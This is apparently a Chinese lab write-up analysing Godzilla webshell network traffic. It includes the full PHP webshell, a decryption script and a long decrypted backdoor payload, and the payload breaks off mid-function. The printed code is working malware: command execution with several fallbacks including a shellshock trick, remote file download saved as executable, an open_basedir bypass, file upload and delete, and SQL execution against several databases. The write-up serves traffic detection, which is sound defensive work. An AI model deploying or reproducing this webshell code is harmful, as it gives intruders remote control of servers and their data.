流量分析-哥斯拉

环境:
受害主机win->172.20.10.6
攻击机kali->192.168.73.128
phpstudy模拟搭建网站
wires hark抓包

一、生成php_xor_based64加密shell上传到PHPstudy中的网站根目录

在这里插入图片描述

二、分析shell源码

<?php
@session_start();//启动或恢复会话。PHP会检查请求中是否包含会话ID(通过Cookie传递),如果有则恢复该会话,如果没有则创建一个新的会话。
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){//加密方法
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
		///下面三行代码决定了返回包格式为based64编码数据前后各包裹了16位混淆字符,由于哥斯拉客户端的解密算法是写死的,所以服务端这三行代码不可改变于是造成了请求是based64编码的返回包强特征,假如选择raw传输则不会出现此特征
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

三.哥斯拉连接webshell使用wires hark抓包分析

1.筛选http发现首次连接会出现的三次http请求:

在这里插入图片描述哥斯拉与冰蝎不同,它会在第一个请求包中将自身定义的shell所需功能的函数一次性发送给服务端并存储在session中(这些数据可以在会话中找到,具体不赘述),所以第一个请求中会携带大量数据,同时第一个返回包中为空白内容和设置了sessionsID。
而第二个请求是用于测试连接,返回"ok"。
第三个请求是用于获得目标系统信息。
这三个请求是哥斯拉的一个强特征,不论是在什么加密类型的shell中都会出现,并且based64编码后的shell从第二个数据包开始响应体的格式为based64编码的数据被前后16位混淆字符包裹。(注意:必须是以based传输的方式)

2.解密数据包

shell源码中就包含了解密算法,但测试发现缺少一层url解码,改进解密脚本如下:

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$key='3c6e0b8a9c15224a';
$data=encode(base64_decode(urldecode('加密数据')),$key);
echo ($data);

解密后数据内容:

$parameters=array();
$_SES=array();
function run($pms){
    global $ERRMSG;

    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    if (function_existsEx("set_error_handler")){
        @set_error_handler("payloadErrorHandler");
    }
    if (function_existsEx("set_exception_handler")){
        @set_exception_handler("payloadExceptionHandler");
    }
    $result=@evalFunc();
    if ($result==null||$result===false){
        $result=$ERRMSG;
    }

    if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }
    if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

    return $result;
}
function payloadExceptionHandler($exception){
    global $ERRMSG;
    $ERRMSG.="ExceptionMsg:".$exception->getMessage()."\r\n";
    return true;
}
function payloadErrorHandler($errno, $errstr, $errfile=null, $errline=null,$errcontext=null){
    global $ERRMSG;
    $ERRMSG.="ErrLine: {$errline} ErrorMsg:{$errstr}\r\n";
    return true;
}
function S1MiwYYr($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[($i+1)%15];
    }
    return $D;
}
function reDefSystemFunc(){
    if (!function_exists("file_get_contents")) {
        function file_get_contents($file) {
            $f = @fopen($file,"rb");
            $contents = false;
            if ($f) {
                do { $contents .= fgets($f,1024*1024); } while (!feof($f));
            }
            fclose($f);
            return $contents;
        }
    }
    if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
        function gzdecode($data)
        {
            return gzinflate(substr($data,10,-8));
        }
    }
    if (!function_exists("sys_get_temp_dir")){
        function sys_get_temp_dir(){
            $SCRIPT_FILENAME=dirname(__FILE__);
            if (substr($SCRIPT_FILENAME, 0, 1) != '/'){
                return "C:/Windows/Temp/";
            }else{
                return "/tmp/";
            }
        }
    }
    if (!function_exists("getmygid")){
        function getmygid(){
            return 0;
        }
    }
    if (!function_exists("scandir")){
        function scandir($directory){
            $dh  = opendir($directory);
            if ($dh!==false){
                $files=array();
                while (false !== ($filename = readdir($dh))) {
                    $files[] = $filename;
                }
                @closedir($dh);
                return $files;
            }
            return false;
        }
    }
    if (!function_exists("file_put_contents")){
        function file_put_contents($fileName, $data){
            $handle=fopen($fileName,"wb");
            if ($handle!==false){
                $len=fwrite($handle,$data);
                return $len;
                @fclose($handle);
            }else{
                return false;
            }
        }
    }
    if (!function_exists("is_executable")){
        function is_executable($fileName){
            return false;
        }
    }

}
function &getSession(){
    global $_SES;
    return $_SES;
}
function bypass_open_basedir(){
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    $allFiles = @scandir($_FILENAME);
    $cdStatus=false;
    if ($allFiles!=null){
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                if (@is_dir($fileName)){
                    if (@chdir($fileName)===true){
                        $cdStatus=true;
                        break;
                    }
                }
            }

        }
    }
    if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
        @mkdir('bypass_open_basedir');
    }
    if (!$cdStatus){
        @chdir('bypass_open_basedir');
    }
    @ini_set('open_basedir','..');
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    @$_path = str_replace("\\",'/',$_FILENAME);
    @$_num = substr_count($_path,'/') + 1;
    $_i = 0;
    while($_i < $_num){
        @chdir('..');
        $_i++;
    }
    @ini_set('open_basedir','/');
    if (!$cdStatus){
        @rmdir($_FILENAME.'/'.'bypass_open_basedir');
    }
}
function formatParameter($pms){
    global $parameters;
    $index=0;
    $key=null;
    while (true){
        $q=$pms[$index];
        if (ord($q)==0x02){
            $len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
            $index+=4;
            $value=substr($pms,$index+1,$len);
            $index+=$len;
            $parameters[$key]=$value;
            $key=null;
        }else{
            $key.=$q;
        }
        $index++;
        if ($index>strlen($pms)-1){
            break;
        }
    }
}
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    $_SES=&getSession();
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SES[$className])){
                    return eval($_SES[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            if (function_exists($methodName)){
                return $methodName();
            }else{
                return "function {$methodName} not exist";
            }
        }
    }else{
        return "methodName Is Null";
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function setFileAttr(){
    $type = get("type");
    $attr = get("attr");
    $fileName = get("fileName");
    $ret = "Null";
    if ($type!=null&&$attr!=null&&$fileName!=null) {
        if ($type=="fileBasicAttr"){
            if (@chmod($fileName,convertFilePermissions($attr))){
                return "ok";
            }else{
                return "fail";
            }
        }else if ($type=="fileTimeAttr"){
            if (@touch($fileName,$attr)){
                return "ok";
            }else{
                return "fail";
            }
        }else{
            return "no ExcuteType";
        }
    }else{
        $ret="type or attr or fileName is null";
    }
    return $ret;
}
function fileRemoteDown(){
    $url=get("url");
    $saveFile=get("saveFile");
    if ($url!=null&&$saveFile!=null) {
        $data=@file_get_contents($url);
        if ($data!==false){
            if (@file_put_contents($saveFile,$data)!==false){
                @chmod($saveFile,0777);
                return "ok";
            }else{
                return "write fail";
            }
        }else{
            return "read fail";
        }
    }else{
        return "url or saveFile is null";
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
    $data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
    $data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
    $data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
    $data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['disable_functions'] = @ini_get('disable_functions');
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['Open_basedir'] = @ini_get('open_basedir');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $tmpDir=sys_get_temp_dir();
    $separator=substr($tmpDir,strlen($tmpDir)-1,1);
    if ($separator!='\\'&&$separator!='/'){
        $tmpDir=$tmpDir.'/';
    }
    $data['systempdir'] = $tmpDir;
    $data['include_path'] = @ini_get('include_path');
    $data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['PHP_INT_SIZE'] = PHP_INT_SIZE;
    $data['ProcessArch'] = PHP_INT_SIZE==8?"x64":"x86";
    $data['PHP_OS'] = PHP_OS;
    $data['canCallGzipDecode'] = canCallGzipDecode();
    $data['canCallGzipEncode'] = canCallGzipEncode();
    $data['session_name'] = @ini_get("session.name");
    $data['session_save_path'] = @ini_get("session.save_path");
    $data['session_save_handler'] = @ini_get("session.save_handler");
    $data['session_serialize_handler'] = @ini_get("session.serialize_handler");
    $data['user_ini_filename'] = @ini_get("user_ini.filename");
    $data['memory_limit'] = @ini_get('memory_limit');
    $data['upload_max_filesize'] = @ini_get('upload_max_filesize');
    $data['post_max_size'] = @ini_get('post_max_size');
    $data['max_execution_time'] = @ini_get('max_execution_time');
    $data['max_input_time'] = @ini_get('max_input_time');
    $data['default_socket_timeout'] = @ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    if (strlen(trim($data['CurrentDir']))==0){
        $data['CurrentDir'] = str_replace('\\', '/', @dirname(__FILE__));
    }
    $SCRIPT_FILENAME=@dirname(__FILE__);
    $data['FileRoot'] = '';
    if (substr($SCRIPT_FILENAME, 0, 1) != '/') {
        $drivers=array('C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
        foreach ($drivers as $L){
            if (@is_dir("{$L}:/")){
                $data['FileRoot'] .= "{$L}:/;";}
        }
        if (empty($data['FileRoot'])){
            $data['FileRoot']=substr($SCRIPT_FILENAME,0,3);
        }
    }else{
        $data['FileRoot'] .= "/";
    }
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

        }
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (function_existsEx("is_readable")){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        @chmod($fileName,0777);
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}

function function_existsEx($functionName){
    $d=explode(",",@ini_get("disable_functions"));
    if(empty($d)){
        $d=array();
    }else{
        $d=array_map('trim',array_map('strtolower',$d));
    }
    return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}

function execCommand(){
    @ob_start();
    $cmdLine=get("cmdLine");
    if(substr(__FILE__,0,1)=="/"){
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    }else{
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    $result="";
    if (!function_existsEx("runshellshock")){
        function runshellshock($d, $c) {
            if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
                if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                    $tmp = tempnam(sys_get_temp_dir(), 'as');
                    putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                    if (function_existsEx('error_log')) {
                        error_log("a", 1);
                    } else {
                        mail("a@127.0.0.1", "", "", "-bv");
                    }
                } else {
                    return False;
                }
                $output = @file_get_contents($tmp);
                @unlink($tmp);
                if ($output != "") {
                    return $output;
                }
            }
            return False;
        };
    }

    if(function_existsEx('system')){
        @system($cmdLine,$ret);
    }elseif(function_existsEx('passthru')){
        $result=@passthru($cmdLine,$ret);
    }elseif(function_existsEx('shell_exec')){
        $result=@shell_exec($cmdLine);
    }elseif(function_existsEx('exec')){
        @exec($cmdLine,$o,$ret);
        $result=join("\n",$o);
    }elseif(function_existsEx('popen')){
        $fp=@popen($cmdLine,'r');
        while(!@feof($fp)){
            $result.=@fgets($fp,1024*1024);
        }
        @pclose($fp);
    }elseif(function_existsEx('proc_open')){
        $p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while(!@feof($io[1])){
            $result.=@fgets($io[1],1024*1024);
        }
        while(!@feof($io[2])){
            $result.=@fgets($io[2],1024*1024);
        }
        @fclose($io[1]);
        @fclose($io[2]);
        @proc_close($p);
    }elseif(substr(__FILE__,0,1)!="/" && @class_exists("COM")){
        $w=new COM('WScript.shell');
        $e=$w->exec($cmdLine);
        $so=$e->StdOut();
        $result.=$so->ReadAll();
        $se=$e->StdErr();
        $result.=$se->ReadAll();
    }elseif (function_existsEx("pcntl_fork")&&function_existsEx("pcntl_exec")){
        $cmd="/bin/bash";
        if (!file_exists($cmd)){
            $cmd="/bin/sh";
        }
        $commandFile=sys_get_temp_dir()."/".time().".log";
        $resultFile=sys_get_temp_dir()."/".(time()+1).".log";
        @file_put_contents($commandFile,$cmdLine);
        switch (pcntl_fork()) {
            case 0:
                $args = array("-c", "$cmdLine > $resultFile");
                pcntl_exec($cmd, $args);
                // the child will only reach this point on exec failure,
                // because execution shifts to the pcntl_exec()ed command
                exit(0);
            default:
                break;
        }
        if (!file_exists($resultFile)){
            sleep(2);
        }
        $result=file_get_contents($resultFile);
        @unlink($commandFile);
        @unlink($resultFile);

    }elseif(($result=runshellshock(__FILE__, $cmdLine)!==false)) {

    }else{
        return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock/pcntl_exec is available";
    }
    $result .= @ob_get_contents();
    @ob_end_clean();

    return $result;
}
function execSql(){
    $dbType=get("dbType");
    $dbHost=get("dbHost");
    $dbPort=get("dbPort");
    $username=get("dbUsername");
    $password=get("dbPassword");
    $execType=get("execType");
    $execSql=get("execSql");
    $charset=get("dbCharset");
    $currentDb=get("currentDb");
    function  mysqli_exec($host,$port,$username,$password,$execType,$currentDb,$sql,$charset){
        // 创建连接
        $conn = new mysqli($host,$username,$password,"",$port);
        // Check connection
        if ($conn->connect_error) {
            return $conn->connect_error;
        }
        if (!empty($charset)){
            $conn->set_charset($charset);
        }
        if (!empty($currentDb)){
            $conn->select_db($currentDb);
        }
        $result = $conn->query($sql);
        if ($conn->error){
            return $conn->error;
        }
        if ($execType=="update"){
            return "Query OK, ".$conn->affected_rows." rows affected";
        }else{
            $data="ok\n";
            while ($column = $result->fetch_field()){
                $data.=base64_encode($column->name)."\t";
            }
            $data.="\n";
            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    foreach ($row as $value){
                        $data.=base64_encode($value)."\t";
                    }
                    $data.="\n";
                }
            }
            return $data;
        }
    }
    function mysql_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset) {
        $con = @mysql_connect($host.":".$port, $username, $password);
        if (!$con) {
            return mysql_error();
        } else {
            if (!empty($charset)){
                mysql_set_charset($charset,$con);
            }
            if (!empty($currentDb)){
                if (function_existsEx("mysql_selectdb")){
                    mysql_selectdb($currentDb,$con);
                }elseif (function_existsEx("mysql_select_db")){
                    mysql_select_db($currentDb,$con);
                }
            }
            $result = @mysql_query($sql);
            if (!$result) {
                return mysql_error();
            }
            if ($execType == "update") {
                return "Query OK, ".mysql_affected_rows($con)." rows affected";
            } else {
                $data = "ok\n";
                for ($i = 0; $i < mysql_num_fields($result); $i++) {
                    $data.= base64_encode(mysql_field_name($result, $i))."\t";
                }
                $data.= "\n";
                $rowNum = mysql_num_rows($result);
                if ($rowNum > 0) {
                    while ($row = mysql_fetch_row($result)) {
                        foreach($row as $value) {
                            $data.= base64_encode($value)."\t";
                        }
                        $data.= "\n";
                    }
                }
            }
            @mysql_close($con);
            return $data;
        }
    }
    function mysqliEx_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset){
        $port == "" ? $port = "3306" : $port;
        $T=@mysqli_connect($host,$username,$password,"",$port);
        if (!empty($charset)){
            @mysqli_set_charset($charset);
        }
        if (!empty($currentDb)){
            @mysqli_select_db($T,$currentDb);
        }
        $q=@mysqli_query($T,$sql);
        if(is_bool($q)){
            return mysqli_error($T);
        }else{
            if (mysqli_num_fields($q)>0){
                $i=0;
                $data = "ok\n";
                while($col=@mysqli_fetch_field($q)){
                    $data.=base64_encode($col->name)."\t";
                    $i++;
                }
                $data.="\n";
                while($rs=@mysqli_fetch_row($q)){
                    for($c=0;$c<$i;$c++){
                        $data.=base64_encode(trim($rs[$c]))."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }else{
                return "Query OK, ".@mysqli_affected_rows($T)." rows affected";
            }
        }
    }
    function pg_execEx($host, $port, $username, $password, $execType,$currentDb, $sql,$charset){
        $port == "" ? $port = "5432" : $port;
        $arr=array(
            'host'=>$host,
            'port'=>$port,
            'user'=>$username,
            'password'=>$password
        );
        if (!empty($currentDb)){
            $arr["dbname"]=$currentDb;
        }
        $cs='';
        foreach($arr as $k=>$v) {
            if(empty($v)){
                continue;
            }
            $cs .= "$k=$v ";
        }
        $T=@pg_connect($cs);
        if(!$T){
            return @pg_last_error();
        }else{
            if (!empty($charset)){
                @pg_set_client_encoding($T,$charset);
            }
            $q=@pg_query($T, $sql);
            if(!$q){
                return @pg_last_error();
            }else{
                $n=@pg_num_fields($q);
                if($n===NULL){
                    return @pg_last_error();
                }elseif($n===0){
                    return "Query OK, ".@pg_affected_rows($q)." rows affected";
                }else{
                    $data = "ok\n";
                    for($i=0;$i<$n;$i++){
                        $data.=base64_encode(@pg_field_name($q,$i))."\t";
                    }
                    $data.= "\n";
                    while($row=@pg_fetch_row($q)){
                        for($i=0;$i<$n;$i++){
                            $data.=base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\t";
                        }
                        $data.= "\n";
                    }
                    return $data;
                }
            }
        }
    }
    function sqlsrv_exec($host, $port, $username, $password, $execType, $currentDb,$sql){

        $dbConfig=array("UID"=> $username,"PWD"=>$password);
        if (!empty($currentDb)){
            $dbConfig["Database"]=$currentDb;
        }

        $T=@sqlsrv_connect($host,$dbConfig);
        $q=@sqlsrv_query($T,$sql,null);
        if($q!==false){
            $i=0;
            $fm=@sqlsrv_field_metadata($q);
            if(empty($fm)){
                $ar=@sqlsrv_rows_affected($q);
                return "Query OK, ".$ar." rows affected";
            }else{
                $data = "ok\n";

                foreach($fm as $rs){
                    $data.=base64_encode($rs['Name'])."\t";
                    $i++;
                }
                $data.= "\n";
                while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
                    for($c=0;$c<$i;$c++){
                        $data.=base64_encode(trim($rs[$c]))."\t";
                    }
                    $data.= "\n";
                }
                return $data;
            }
        }else{
            $err="";
            if(($e = sqlsrv_errors()) != null){
                foreach($e as $v){
                    $err.=($e['message'])."\n";
                }
            }
            return $err;
        }
    }
    function mssql_exec($host, $port, $username, $password, $execType,$currentDb, $sql){
        $T=@mssql_connect($host,$username,$password);
        if (!empty($currentDb)){
            @mssql_select_db($currentDb);
        }
        $q=@mssql_query($sql,$T);
        if(is_bool($q)){
            return "Query OK, ".@mssql_rows_affected($T)." rows affected";
        }else{
            $data = "ok\n";
            $i=0;
            while($rs=@mssql_fetch_field($q)){
                $data.=base64_encode($rs->name)."\t";
                $i++;
            }
            $data.="\n";
            while($rs=@mssql_fetch_row($q)){
                for($c=0;$c<$i;$c++){
                    $data.=base64_encode(trim($rs[$c]))."\t";
                }
                $data.="\n";
            }
            @mssql_free_result($q);
            @mssql_close($T);
            return $data;
        }
    }
    function oci_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
        $chs = $charset ? $charset : "utf8";
        $mod = 0;
        $H = @oci_connect($username, $password, $host, $chs, $mod);
        if (!$H) {
            $errObj=@oci_error();
            return $errObj["message"];
        } else {
            $q = @oci_parse($H, $sql);
            if (@oci_execute($q)) {
                $n = oci_num_fields($q);
                if ($n == 0) {
                    return "Query OK, ".@oci_num_rows($q)." rows affected";
                } else {
                    $data = "ok\n";
                    for ($i = 1; $i <= $n; $i++) {
                        $data.= base64_encode(oci_field_name($q, $i))."\t";
                    }
                    $data.= "\n";
                    while ($row = @oci_fetch_array($q, OCI_ASSOC + OCI_RETURN_NULLS)) {
                        foreach($row as $item) {
                            $data.= base64_encode($item !== null ? base64_encode($item) : ""). "\t";
                        }
                        $data.= "\n";
                    }
                    return $data;
                }
            } else {
                $e = @oci_error($q);
                if ($e) {
                    return "ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}";
                } else {
                    return "false";
                }
            }
        }
    }
    function ora_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
        $H = @ora_plogon("{$username}@{$host}", "{$password}");
        if (!$H) {
            return "Login Failed!";
        } else {
            $T = @ora_open($H);
            @ora_commitoff($H);
            $q = @ora_parse($T, "{$sql}");
            $R = ora_exec($T);
            if ($R) {
                $n = ora_numcols($T);
                $data="ok\n";
                for ($i = 0; $i < $n; $i++) {
                    $data.=base64_encode(Ora_ColumnName($T, $i))."\t";
                }
                $data.="\n";
                while (ora_fetch($T)) {
                    for ($i = 0; $i < $n; $i++) {
                        $data.=base64_encode(trim(ora_getcolumn($T, $i)))."\t";
                    }
                    $data.="\n";
                }
                return $data;
            } else {
                return "false";
            }
        }
    }
    function sqlite_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
        $dbh=new SQLite3($host);
        if(!$dbh){
            return "ERROR://CONNECT ERROR".SQLite3::lastErrorMsg();
        }else{
            $stmt=$dbh->prepare($sql);
            if(!$stmt){
                return "ERROR://".$dbh->lastErrorMsg();
            } else {
                $result=$stmt->execute();
                if(!$result){
                    return $dbh->lastErrorMsg();
                }else{
                    $bool=True;
                    $data="ok\n";
                    while($res=$result->fetchArray(SQLITE3_ASSOC)){
                        if($bool){
                            foreach($res as $key=>$value){
                                $data.=base64_encode($key)."\t";
                            }
                            $bool=False;
                            $data.="\n";
                        }
                        foreach($res as $key=>$value){
                            $data.=base64_encode($value!==NULL?$value:"NULL")."\t";
                        }
                        $data.="\n";
                    }
                    if($bool){
                        if(!$result->numColumns()){
                            return "Query OK, ".$dbh->changes()." rows affected";
                        }else{
                            return "ERROR://Table is empty.";
                        }
                    }else{
                        return $data;
                    }
                }
            }
            $dbh->close();
        }
    }
    function pdoExec($databaseType,$host,$port,$username,$password,$execType,$currentDb,$sql){
        $conn=null;
        if ($databaseType==="oracle"){
            $databaseType="orcl";
        }
        if (strpos($host,"=")!==false){
            $conn = new PDO($host, $username, $password);
        }else if (!empty($currentDb)){
            $conn = new PDO("{$databaseType}:host=$host;port={$port};dbname={$currentDb}", $username, $password);
        }else{
            $conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);
        }
        $conn->setAttribute(3, 0);
        if ($execType=="update"){
            $affectRows=$conn->exec($sql);
            if ($affectRows!==false){
                return "Query OK, ".$conn->exec($sql)." rows affected";
            }else{
                return "Err->\n".implode(',',$conn->errorInfo());
            }
        }else{
            $data="ok\n";
            $stm=$conn->prepare($sql);
            if ($stm->execute()){
                $row=$stm->fetch(2);
                $_row="\n";
                foreach (array_keys($row) as $key){
                    $data.=base64_encode($key)."\t";
                    $_row.=base64_encode($row[$key])."\t";
                }
                $data.=$_row."\n";
                while ($row=$stm->fetch(2)){
                    foreach (array_keys($row) as $key){
                        $data.=base64_encode($row[$key])."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }else{
                return "Err->\n".implode(',',$stm->errorInfo());
            }
        }
    }
    if ($dbType=="mysql"&&(class_exists("mysqli")||function_existsEx("mysql_connect")||function_existsEx("mysqli_connect"))){
        if (class_exists("mysqli")){
            return mysqli_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }elseif (function_existsEx("mysql_connect")){
            return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }else if (function_existsEx("mysqli_connect")){
            return mysqliEx_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }
    }elseif ($dbType=="postgresql"&&function_existsEx("pg_connect")){
        if (function_existsEx("pg_connect")){
            return pg_execEx($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }
    }elseif ($dbType=="sqlserver"&&(function_existsEx("sqlsrv_connect")||function_existsEx("mssql_connect"))){
        if (function_existsEx("sqlsrv_connect")){
            return sqlsrv_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
        }elseif (function_existsEx("mssql_connect")){
            return mssql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
        }
    }elseif ($dbType=="oracle"&&(function_existsEx("oci_connect")||function_existsEx("ora_plogon"))){
        if (function_existsEx("oci_connect")){
            return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }else if (function_existsEx("ora_plogon")){
            return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }
    }elseif ($dbType=="sqlite"&&class_exists("SQLite3")){
        return sqlite_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
    }

    if (extension_loaded("pdo")){
        return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
    }else{
        return "no extension";
    }

}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function getAllParameters(){
    global $parameters;
